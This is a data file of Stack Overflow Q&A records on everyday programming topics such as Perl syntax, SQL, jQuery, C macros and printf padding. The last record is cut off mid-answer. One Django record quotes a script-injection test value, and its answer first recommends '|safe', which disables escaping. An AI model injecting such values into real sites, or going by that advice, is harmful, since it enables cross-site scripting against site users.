{"id": "hf_af9766310e45", "question": "<p>Since arrays and hashes can only contain scalars in Perl, why do you have to use the $ to tell the interpreter that the value is a scalar when accessing array or hash elements? In other words, assuming you have an array <code>@myarray</code> and a hash <code>%myhash</code>, why do you need to do:</p>\n\n<pre><code>$x = $myarray[1];\n$y = $myhash{'foo'};\n</code></pre>\n\n<p>instead of just doing :</p>\n\n<pre><code>$x = myarray[1];\n$y = myhash{'foo'};\n</code></pre>\n\n<p>Why are the above ambiguous? </p>\n\n<p>Wouldn't it be illegal Perl code if it was anything but a $ in that place? For example, aren't all of the following illegal in Perl?</p>\n\n<pre><code>@var[0];\n@var{'key'};\n%var[0];\n%var{'key'};\n</code></pre>\n", "question_body": "", "answer": "I can think of one way that\n```\n```\n$x = myarray[1];\n```\n```\nis ambiguous - what if you wanted a array called m?\n```\n```\n$x = m[1];\n```\n```\nHow can you tell that apart from a regex match?\nIn other words, the syntax is there to help the Perl interpreter, well, interpret!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:02.794463"}
{"id": "hf_fd2363b0f178", "question": "<p>It seems to me that phpMyAdmin imports tables by default with collation latin1_swedish_ci, how i change this?</p>\n", "question_body": "", "answer": "This is not a phpMyAdmin question.\nCollations are part of recent MySQL releases, you must set the default collation of the server (or at least of the database) to change that behaviour.\nTo convert already imported tables to UTF-8 you can do (in PHP):\n```\n```\n$dbname = 'my_databaseName';\nmysql_connect('127.0.0.1', 'root', '');\nmysql_query(\"ALTER DATABASE `$dbname` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci\");\n$res = mysql_query(\"SHOW TABLES FROM `$dbname`\");\nwhile($row = mysql_fetch_row($res)) {\n   $query = \"ALTER TABLE {$dbname}.`{$row[0]}` CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci\";\n   mysql_query($query);\n   $query = \"ALTER TABLE {$dbname}.`{$row[0]}` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci\";\n   mysql_query($query);\n}\necho 'all tables converted';\n```\n```\nCode snippet taken from\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:02.867364"}
{"id": "hf_d767ddd4de99", "question": "<p>Is there any way to verify in Java code that an e-mail address is valid. By valid, I don't just mean that it's in the correct format (someone@domain.subdomain), but that's it's a real active e-mail address.</p>\n\n<p>I'm almost certain that there's no 100% reliable way to do this, because such a technique would be the stuff of spammer's dreams. But perhaps there's some technique that gives some useful indication about whether an address is 'real' or not.</p>\n", "question_body": "", "answer": "Without sending an email, it could be hard to get 100%, but if you\ndo a DNS lookup on the host\nthat should at least tell you that it is a viable destination system.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:02.924343"}
{"id": "hf_ba7713d773fc", "question": "<p>How do I use the jQuery Datepicker with a textbox input:</p>\n\n<pre><code>$(\"#my_txtbox\").datepicker({\n  // options\n});\n</code></pre>\n\n<p>that doesn't allow the user to input random text in the textbox.\nI want the Datepicker to pop up when the textbox gains focus or the user clicks on it, but I want the textbox to ignore any user input using the keyboard (copy &amp; paste, or any other). I want to fill the textbox exclusively from the Datepicker calendar.</p>\n\n<p>Is this possible?</p>\n\n<p>jQuery 1.2.6<br/>\nDatepicker 1.5.2</p>\n", "question_body": "", "answer": "You should be able to use the\nreadonly\nattribute on the text input, and jQuery will still be able to edit its contents.\n```\n```\n<input type='text' id='foo' readonly='true'>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:03.010641"}
{"id": "hf_88eea256b983", "question": "<p>As in subject... is there a way of looking at an empty table schema without inserting any rows and issuing a SELECT?</p>\n", "question_body": "", "answer": "Are you looking for\nDESCRIBE\n?\n```\ndb2 describe table user1.department\n```\n```\n```\nTable: USER1.DEPARTMENT\n\nColumn             Type        Type\nname               schema      name               Length   Scale    Nulls\n------------------ ----------- ------------------ -------- -------- --------\nAREA               SYSIBM      SMALLINT                  2        0 No\nDEPT               SYSIBM      CHARACTER                 3        0 No\nDEPTNAME           SYSIBM      CHARACTER                20        0 Yes\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:03.046308"}
{"id": "hf_542c3121acf2", "question": "<p>I am using a codebehind page in ASP.NET to perform a SQL query.  The query is loaded into a string, the connection is established (To Oracle), and we get it started by having the connection perform .ExecuteReader into a OleDBDataReader (We'll call it DataRead).  I'll try to hammer out an example below.  (Consider Drop as an ASP DropDownList control)</p>\n\n<pre><code>Dim LookFor as String = \"Fuzzy Bunnies\"\n\nWhile DataRead.Read\n    If LookFor = DataRead.Item(\"Kinds of Bunnies\") Then\n        'Meets special critera, do secondary function'\n\n         Drop.Items.Add(DataRead.Item(\"Subgroup of Bunnies\"))\n         ...\n    End if\n    ...\nEnd While\n</code></pre>\n\n<p>This is the only way I know of doing a dynamic add to a DropDownList.  However, each item in a DropDownList has a .text property and a .value property.  How can we define the .value as being different from the .text in code?</p>\n", "question_body": "", "answer": "Pardon my possibly faulty VB\n```\n```\nDim item as New ListItem()\nitem.Value = \"foo\"\nitem.Text = \"bar\"\n\nDrop.Items.Add(item)\n```\n```\nYou can also use the ListItem constructor (e.g. new ListItem(\"text\", \"value\"))", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:03.095613"}
{"id": "hf_4b2eb89428e3", "question": "<p>I am coming from the SQL server world where we had uniqueidentifier. Is there an equivalent in oracle? This column will be frequently queried so performance is the key.</p>\n\n<p>I am generating the GUID in .Net and will be passing it to Oracle. For a couple reasons it cannot be generated by oracle so I cannot use sequence. </p>\n", "question_body": "", "answer": "There is no uniqueidentifier in Oracle.\nYou can implement one yourself by using RAW (kind of a pain) or CHAR.  Performance on queries that JOIN on a CHAR field will suffer (maybe as much as 40%) in comparison with using an integer.\nIf you're doing distributed/replicated databases, the performance hit is worth it.  Otherwise, just use an integer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:03.183896"}
{"id": "hf_c00dec820d46", "question": "<p>I've got the following query to determine how many votes a story has received:</p>\n\n<pre><code>SELECT s_id, s_title, s_time, (s_time-now()) AS s_timediff, \n\n(\n (SELECT COUNT(*) FROM s_ups WHERE stories.q_id=s_ups.s_id) -\n (SELECT COUNT(*) FROM s_downs WHERE stories.s_id=s_downs.s_id)\n) AS votes\n\nFROM stories\n</code></pre>\n\n<p>I'd like to apply the following mathematical function to it for upcoming stories (I think it's what reddit uses) -\n<a href=\"http://redflavor.com/reddit.cf.algorithm.png\" rel=\"noreferrer\">http://redflavor.com/reddit.cf.algorithm.png</a></p>\n\n<p>I can perform the function on the application side (which I'm doing now), but I can't sort it by the ranking which the function provides.</p>\n\n<p>Any advise?</p>\n", "question_body": "", "answer": "y and z are the tricky ones. You want a specific return based on x's value. That sounds like a good reason to make a function.\nhttp://dev.mysql.com/doc/refman/5.0/en/if-statement.html\nYou should make 1 function for y and one for z. pass in x, and expect a number back out.\n```\n```\nDELIMINATOR //\n\nCREATE FUNCTION y_element(x INT) \n  RETURNS INT\n\nBEGIN\n    DECLARE y INT;\n\nIF x > 0 SET y =  1;\nELSEIF x = 0 SET y =  0;\nELSEIF x < 0 SET y = -1;\nEND IF;\n\nRETURN y;\n\nEND //;\n\nDELIMINATOR;\n```\n```\nThere is y. I did it by hand without checking so you may have to fix a few typo's.\nDo z the same way, and then you have all of the values for your final function.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:03.207926"}
{"id": "hf_5e0018956ca7", "question": "<p>When I want to validate my XML docuemnts against a schema in my server-side Java, I use the built-in JRE Xerces implementation and javax.xml.validation.Schema.  It works fine, but when validation fails, Xerces gives error messages that are very close to useless, for example:</p>\n\n<pre><code>cvc-minLength-valid: Value '' with length = '0' is not facet-valid with respect to minLength '1' for type 'PopulatedStringType'\n</code></pre>\n\n<p>These can take an age to diagnose and track down to the particular part of the XML document that fails validation, and all because of a poor error message.</p>\n\n<p>So my question is, do you use an alternative means of validating XML against Schema, that gives a more useful output on validation failure?  </p>\n\n<p>Please not that this is server-side Java, so please don't say \"use XML Spy\" or similar.</p>\n", "question_body": "", "answer": "We use\nOracle's XDK (XML Development Kit)\nwhich includes xmlparserv2.jar with a validating parser and XSLT 2.0.  It uses the JAXB API so you should only have to add it to your classpath and change your imports.  It throws errors that aren't perfect, but I would say more easily understood than your example.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:03.233554"}
{"id": "hf_9e777928533c", "question": "<p>I am playing with a CAD application using MFC. I was thinking it would be nice to save the document (model) as an SQLite database.</p>\n\n<p>Advantages:</p>\n\n<ul>\n<li>I avoid file format changes (SQLite takes care of that)</li>\n<li>Free query engine</li>\n<li>Undo stack is simplified (table name, column name, new value\nand so on...)</li>\n</ul>\n\n<p>Opinions?</p>\n", "question_body": "", "answer": "This is a fine idea.  Sqlite is very pleasant to work with!\nBut remember the old truism (I can't get an authoritative answer from Google about where it originally is from) that storing your data in a relational database is like parking your car by driving it into the garage, disassembling it, and putting each piece into a labeled cabinet.\nGeometric data, consisting of points and lines and segments that refer to each other by name, is a good candidate for storing in database tables.  But when you start having composite objects, with a heirarchy of subcomponents, it might require a lot less code just to use serialization and store/load the model with a single call.\nSo that would be a fine idea too.\nBut serialization in MFC is not nearly as much of a win as it is in, say, C#, so on balance I would go ahead and use SQL.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:03.256602"}
{"id": "hf_2acb0cc8c4a6", "question": "<p>What do the brackets do in a sql statement?</p>\n\n<p>For example, in the statement:  </p>\n\n<pre>insert into table1 ([columnname1], columnname2) values (val1, val2)</pre>\n\n<p>Also, what does it do if the table name is in brackets?</p>\n", "question_body": "", "answer": "They are meant to escape reserved keywords or invalid column identifiers.\n```\n```\nCREATE TABLE test\n(\n  [select] varchar(15)\n)\n\nINSERT INTO test VALUES('abc')\n\nSELECT [select] FROM test\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:03.290653"}
{"id": "hf_6c52079d7abe", "question": "<h3>See: <a href=\"https://stackoverflow.com/questions/5727/understanding-pointers\">Understanding Pointers</a></h3>\n<hr />\n<p>In many C flavoured languages, and some older languages like Fortran, one can use <strong>Pointers</strong>.</p>\n<p>As someone who has only really programmed in basic, javascript, and actionscript, can you explain to me what a Pointer is, and what it is most useful for?</p>\n<p>Thanks!</p>\n", "question_body": "", "answer": "A pointer is a variable that contains the address of another variable.  This allows you to reference another variable indirectly.  For example, in C:\n```\n```\n// x is an integer variable\nint x = 5;\n// xpointer is a variable that references (points to) integer variables\nint *xpointer;\n// We store the address (& operator) of x into xpointer.\nxpointer = &x;\n// We use the dereferencing operator (*) to say that we want to work with\n// the variable that xpointer references\n*xpointer = 7;\nif (5 == x) {\n    // Not true\n} else if (7 == x) {\n    // True since we used xpointer to modify x\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:03.324878"}
{"id": "hf_c4138c9405de", "question": "<p>As part of a build setup on a windows machine I need to add a registry entry and I'd like to do it from a simple batch file.</p>\n\n<p>The entry is for a third party app so the format is fixed.</p>\n\n<p>The entry takes the form of a REG_SZ string but needs to contain newlines ie. 0xOA characters as separators.</p>\n\n<p>I've hit a few problems.</p>\n\n<p>First attempt used regedit to load a generated .reg file.  This failed as it did not seem to like either either long strings or strings with newlines.  I discovered that export works fine import fails.  I was able to test export as the third party app adds similar entries directly through the win32 api.</p>\n\n<p>Second attempt used the command REG ADD but I can't find anyway to add the newline characters everything I try just ends up with a literal string being added.</p>\n", "question_body": "", "answer": "You could create a VBScript(.vbs) file and just call it from a batch file, assuming you're doing other things in the batch other than this registry change.  In vbscript you would be looking at something like:\n```\n```\nset WSHShell = CreateObject(\"WScript.Shell\")  \nWSHShell.RegWrite \"HKEY_LOCAL_MACHINE\\SOMEKEY\", \"value\", \"type\"\n```\n```\nYou should be able to find the possible type values using Google.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:03.359252"}
{"id": "hf_21d23ee1a37a", "question": "<p>Assuming a MySQL datastore, when would you NOT want to use memcached in a Ruby on Rails app?</p>\n", "question_body": "", "answer": "Don't use memcached if your application is able to handle all requests quickly. Adding memcached is extra mental overhead when it comes to coding your app, so don't do it unless you need it.\nScaling's \"\none swell problem to have\n\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:03.386401"}
{"id": "hf_a794252c15dd", "question": "<p>I'm trying to find a good way to print leading <code>0</code>, such as <code>01001</code> for a <a href=\"https://en.wikipedia.org/wiki/ZIP_Code\" rel=\"noreferrer\">ZIP Code</a>. While the number would be stored as <code>1001</code>, what is a good way to do it?</p>\n<p>I thought of using either <code>case</code> statements or <code>if</code> to figure out how many digits the number is and then convert it to an <code>char</code> array with extra <code>0</code>'s for printing, but I can't help but think there may be a way to do this with the <code>printf</code> format syntax that is eluding me.</p>\n", "question_body": "", "answer": "```\n```\nprintf(\"%05d\", zipCode);\n```\n```\nThe\n```\n0\n```\nindicates what you are padding with and the\n```\n5\n```\nshows the width of the integer number.\nExample 1: If you use\n```\n\"%02d\"\n```\n(useful for dates) this would only pad zeros for numbers in the ones column. E.g.,\n```\n06\n```\ninstead of\n```\n6\n```\n.\nExample 2:\n```\n\"%03d\"\n```\nwould pad 2 zeros for one number in the ones column and pad 1 zero for a number in the tens column. E.g., number 7 padded to\n```\n007\n```\nand number 17 padded to\n```\n017\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:03.410921"}
{"id": "hf_3036e266d255", "question": "<p>I have a link that I dynamically create which looks something like the following:</p>\n\n<pre><code>&lt;a onclick=\"Edit('value from a text column here')\" href=\"javascript:void(null);\"&gt;Edit&lt;/a&gt;\n</code></pre>\n\n<p>with the Edit function then taking the passed in value and putting it into a Yahoo Rich Text Editor. This works well except for when there is a single quote in the text being passed. The obvious problem being that the link then looks something like:</p>\n\n<pre><code>&lt;a onclick=\"Edit('I'm a jelly donut')\" href=\"javascript:void(null);\"&gt;Edit&lt;/a&gt;\n</code></pre>\n\n<p>Any suggestions on what I can do? I'd rather not stray too far from the structure I am currently using because it is something of a standard (and maybe the standard sucks, but that's another question altogether).</p>\n\n<p>Note: I am using ASP as my server side language.</p>\n", "question_body": "", "answer": "Convert quote charaters to their HTML equivalents,\n```\n&quot;\n```\netc. before you insert them into the HTML. There's a\nlong list\nof HTML/XML character codes on wikipedia.\nThere may well be a function to do this for you, depending on how you're dynamically generating the code: PHP has\nhtmlspecialchars\n, and though I'm not familiar with ASP etc, I'm sure there are similar routines.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:03.626537"}
{"id": "hf_38727b6b1df3", "question": "<p>My Django app has a Person table, which contains the following text in a field named <code>details</code>:</p>\n\n<p><code>&lt;script&gt;alert('Hello');&lt;/script&gt;</code></p>\n\n<p>When I call <code>PersonForm.details</code> in my template, the page renders the script accordingly (a.k.a., an alert with the word \"Hello\" is displayed).  I'm confused by this behavior because I always thought <a href=\"http://docs.djangoproject.com/en/dev/ref/templates/builtins/?from=olddocs\" rel=\"nofollow noreferrer\">Django 1.0 autoescaped</a> template content by default.</p>\n\n<p>Any idea what may be going on here?</p>\n\n<p><strong>UPDATE:</strong> Here's the snippet from my template. Nothing terribly sexy:</p>\n\n<pre><code>{{ person_form.details }}\n</code></pre>\n\n<p><strong>UPDATE 2:</strong> I have tried <code>escape</code>, <code>force-escape</code>, and <code>escapejs</code>.  None of these work.</p>\n", "question_body": "", "answer": "You need to mark the values as | safe I think (I'm guessing that you're filling in the value from the database here(?)):\n```\n```\n{{ value|safe }}\n```\n```\nCould you post a sample of the template? Might make it easier to see what's wrong\n[Edit]\n..or are you saying that you\nwant\nit to escape the values (make them safe)? Have you tried manually escaping the field:\n```\n```\n{{ value|escape }}\n```\n```\n[Edit2]\nMaybe\nescapejs from the Django Project docs\nis relevent:\n```\n```\nescapejs\n\nNew in Django 1.0.\n\nEscapes characters for use in JavaScript strings. This does not make the string safe for use in HTML, but does protect you from syntax errors when using templates to generate JavaScript/JSON.\n```\n```\n[Edit3]\nWhat about force_escape:\n```\n```\n{{ value|force_escape }}\n```\n```\n...and I know it's an obvious one, but you're absolutely certain you've not got any caching going on in your browser? I've tripped over that one a few times myself ;-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:03.663043"}
{"id": "hf_cf8830c9bc18", "question": "<pre><code>Pattern pattern = Pattern.compile(\"^[a-z]+$\");\nString string = \"abc-def\";\nassertTrue( pattern.matcher(string).matches() ); // obviously fails\n</code></pre>\n\n<p>Is it possible to have the character class match a \"-\" ?</p>\n", "question_body": "", "answer": "Escape the minus sign\n```\n```\n[a-z\\\\-]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:03.699902"}
{"id": "hf_2ff5b555c8b5", "question": "<p>Is there a <code>string.Empty</code> in JavaScript, or is it just a case of checking for <code>&quot;&quot;</code>?</p>\n", "question_body": "", "answer": "Empty string, undefined, null, ...\nTo check for a\ntruthy value\n:\n```\n```\nif (strValue) {\n    // strValue was non-empty string, true, 42, Infinity, [], ...\n}\n```\n```\nTo check for a\nfalsy value\n:\n```\n```\nif (!strValue) {\n    // strValue was empty string, false, 0, null, undefined, ...\n}\n```\n```\nEmpty string (only!)\nTo check for exactly an empty string, compare for strict equality against\n```\n\"\"\n```\nusing the\n```\n===\n```\noperator\n:\n```\n```\nif (strValue === \"\") {\n    // strValue was empty string\n}\n```\n```\nTo check for not an empty string strictly, use the\n```\n!==\n```\noperator\n:\n```\n```\nif (strValue !== \"\") {\n    // strValue was not an empty string\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:03.736606"}
{"id": "hf_135203517ca6", "question": "<p>I have a Virtual Machine in Virtual PC 2007.</p>\n\n<p>To start it from the desktop, I have the following command in a batch file:</p>\n\n<pre><code>\"c:\\program files\\Microsoft Virtual PC\\Virtual PC.exe\" -pc \"MY-PC\" -launch\n</code></pre>\n\n<p>But that leaves a dos prompt on the host machine until the virtual machine shuts down, and I exit out of the Virtual PC console.  That's annoying.</p>\n\n<p>So I changed my command to use the START command, instead:</p>\n\n<pre><code>start \"c:\\program files\\Microsoft Virtual PC\\Virtual PC.exe\" -pc MY-PC -launch\n</code></pre>\n\n<p>But it chokes on the parameters passed into Virtual PC.</p>\n\n<p><code>START /?</code> indicates that parameters do indeed go in that location.  Has anyone used START to launch a program with multiple command-line arguments?</p>\n", "question_body": "", "answer": "have you tried:\n```\n```\nstart \"c:\\program files\\Microsoft Virtual PC\\Virtual PC.exe\" \"-pc MY-PC -launch\"\n```\n```\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:03.762512"}
{"id": "hf_c2a337c30272", "question": "<p>When I open a file in eclipse it shows with the improper line spacing showing an extra line break between every line. When I open the file with notepad or wordpad it doesn't show these extra line breaks that only eclipse shows. How do I get eclipse to read these files like notepad and wordpad without those line breaks?</p>\n\n<p>-edit: I don't have this problem with all files but only a select few where I have made local changes > uploaded them to our sun station > then pulled those files back to my local workstation for future modifications.</p>\n", "question_body": "", "answer": "Eclipse should have a\n```\nFile -> Convert Line Delimiters To...\n```\noption that may correct this for you. (If it doesn't work on your file,\nthis article\nmay help.)\nReally, though, you should have your file transfer program treat your source files as ascii instead of binary. Then your line ending problem should be moot.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:03.786896"}
{"id": "hf_285449b5d84f", "question": "<p>Anyone know how to programmatically mute the Windows XP Volume using C#?</p>\n", "question_body": "", "answer": "Declare this for P/Invoke:\n```\n```\nprivate const int APPCOMMAND_VOLUME_MUTE = 0x80000;\nprivate const int WM_APPCOMMAND = 0x319;\n\n[DllImport(\"user32.dll\")]\npublic static extern IntPtr SendMessageW(IntPtr hWnd, int Msg, IntPtr wParam, IntPtr lParam);\n```\n```\nAnd then use this line to mute/unmute the sound.\n```\n```\nSendMessageW(this.Handle, WM_APPCOMMAND, this.Handle, (IntPtr) APPCOMMAND_VOLUME_MUTE);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:03.821740"}
{"id": "hf_d59341525058", "question": "<p>I've switched computers a few times recently, and somewhere along the way I lost my .emacs.  I'm trying to build it up again, but while I'm at it, I thought I'd pick up other good configurations that other people use.</p>\n\n<p>So, if you use Emacs, what's in <i>your</i> .emacs?</p>\n\n<p>Mine is pretty barren right now, containing only:</p>\n\n<ol>\n<li>Global font-lock-mode! <code>(global-font-lock-mode 1)</code></li>\n<li>My personal preferences with respect to indentation, tabs, and spaces.</li>\n<li>Use cperl-mode instead of perl-mode.</li>\n<li>A shortcut for compilation.</li>\n</ol>\n\n<p>What do you think is useful?</p>\n", "question_body": "", "answer": "```\n```\n(put 'erase-buffer 'disabled nil)\n(put 'downcase-region 'disabled nil)\n(set-variable 'visible-bell t)\n(set-variable 'tool-bar-mode nil)\n(set-variable 'menu-bar-mode nil)\n\n(setq load-path (cons (expand-file-name \"/usr/share/doc/git-core/contrib/emacs\") load-path))\n (require 'vc-git)\n (when (featurep 'vc-git) (add-to-list 'vc-handled-backends 'git))\n (require 'git)\n (autoload 'git-blame-mode \"git-blame\"\n           \"Minor mode for incremental blame for Git.\" t)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:03.844919"}
{"id": "hf_f550f275f986", "question": "<p>We have a fairly large .NET solution with multiple executable projects (winforms and command line programs). Currently each of these projects has its own app.config that contains connection strings, mail server settings and the like. As you can imagine it's not that convenient to make a change in every app.config file whenever a particular setting needs to be updated.</p>\n\n<p>What do you reckon is the best practice for centralized management of these settings? So far I've thought about two different approaches. The first is using a custom class (or classes) that contains the settings and is serialized into and deserialized from XML. The second approach is defining an app.config file only for a single project and using ConfigurationManager.OpenExeConfiguration() to access it.</p>\n", "question_body": "", "answer": "Create the App.config on your startup project and link statically to it on the other projects.\nYou can link statically by going to Add->Existing Item, and when clicking the Add button on the File Browser Window, there is a small down arrow on the Add button. Click there and the \"Add as link\" option will be shown. That will place the same App.Config on both projects, with only one actual file.\nIf your projects have different App.Config with only 'some' settings that are the same, consider checking the file parameter; I mean, you can have more than one App.Config in a project:\nhttp://weblogs.asp.net/pwilson/archive/2003/04/09/5261.aspx\nJust create a central common.config file and point to it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:03.871419"}
{"id": "hf_cd83868edb13", "question": "<p>When using the ObsoleteAtribute in .Net it gives you compiler warnings telling you that the object/method/property is obsolete and somthing else should be used. I'm currently working on a project that requires a lot of refactoring an ex-employees code. I want to write a custom attribute that I can use to mark methods or properties that will generate compiler warnings that give messages that I write. Something like this</p>\n\n<pre class=\"lang-cs prettyprint-override\"><code>[MyAttribute(\"This code sux and should be looked at\")]\npublic void DoEverything()\n{\n}\n</code></pre>\n\n<pre class=\"lang-vb prettyprint-override\"><code>&lt;MyAttribute(\"This code sux and should be looked at\")&gt;\nPublic Sub DoEverything()\nEnd Sub\n</code></pre>\n\n<p>I want this to generate a compiler warning that says, \"This code sux and should be looked at\". I know how to create a custom attribute, the question is how do I cause it to generate compiler warnings in visual studio.</p>\n", "question_body": "", "answer": "In some compilers you can use #warning to issue a warning:\n```\n```\n#warning \"Do not use ABC, which is deprecated. Use XYZ instead.\"\n```\n```\nIn Microsoft compilers, you can typically use the message pragma:\n```\n```\n#pragma message ( \"text\" )\n```\n```\nYou mentioned .Net, but didn't specify whether you were programming with C/C++ or C#. If you're programming in C#, than you should know that\nC# supports the #warning format\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:03.894671"}
{"id": "hf_73907e0bbe0f", "question": "<p>In many C/C++ macros I'm seeing the code of the macro wrapped in what seems like a meaningless <code>do while</code> loop.  Here are examples.</p>\n\n<pre><code>#define FOO(X) do { f(X); g(X); } while (0)\n#define FOO(X) if (1) { f(X); g(X); } else\n</code></pre>\n\n<p>I can't see what the <code>do while</code> is doing.  Why not just write this without it?</p>\n\n<pre><code>#define FOO(X) f(X); g(X)\n</code></pre>\n", "question_body": "", "answer": "The\n```\ndo ... while\n```\nand\n```\nif ... else\n```\nare there to make it so that a\nsemicolon after your macro always means the same thing.  Let's say you\nhad something like your second macro.\n```\n```\n#define BAR(X) f(x); g(x)\n```\n```\nNow if you were to use\n```\nBAR(X);\n```\nin an\n```\nif ... else\n```\nstatement, where the bodies of the if statement were not wrapped in curly brackets, you'd get a bad surprise.\n```\n```\nif (corge)\n  BAR(corge);\nelse\n  gralt();\n```\n```\nThe above code would expand into\n```\n```\nif (corge)\n  f(corge); g(corge);\nelse\n  gralt();\n```\n```\nwhich is syntactically incorrect, as the else is no longer associated with the if.  It doesn't help to wrap things in curly braces within the macro, because a semicolon after the braces is syntactically incorrect.\n```\n```\nif (corge)\n  {f(corge); g(corge);};\nelse\n  gralt();\n```\n```\nThere are two ways of fixing the problem.  The first is to use a comma to sequence statements within the macro without robbing it of its ability to act like an expression.\n```\n```\n#define BAR(X) f(X), g(X)\n```\n```\nThe above version of bar\n```\nBAR\n```\nexpands the above code into what follows, which is syntactically correct.\n```\n```\nif (corge)\n  f(corge), g(corge);\nelse\n  gralt();\n```\n```\nThis doesn't work if instead of\n```\nf(X)\n```\nyou have a more complicated body of code that needs to go in its own block, say for example to declare local variables.  In the most general case the solution is to 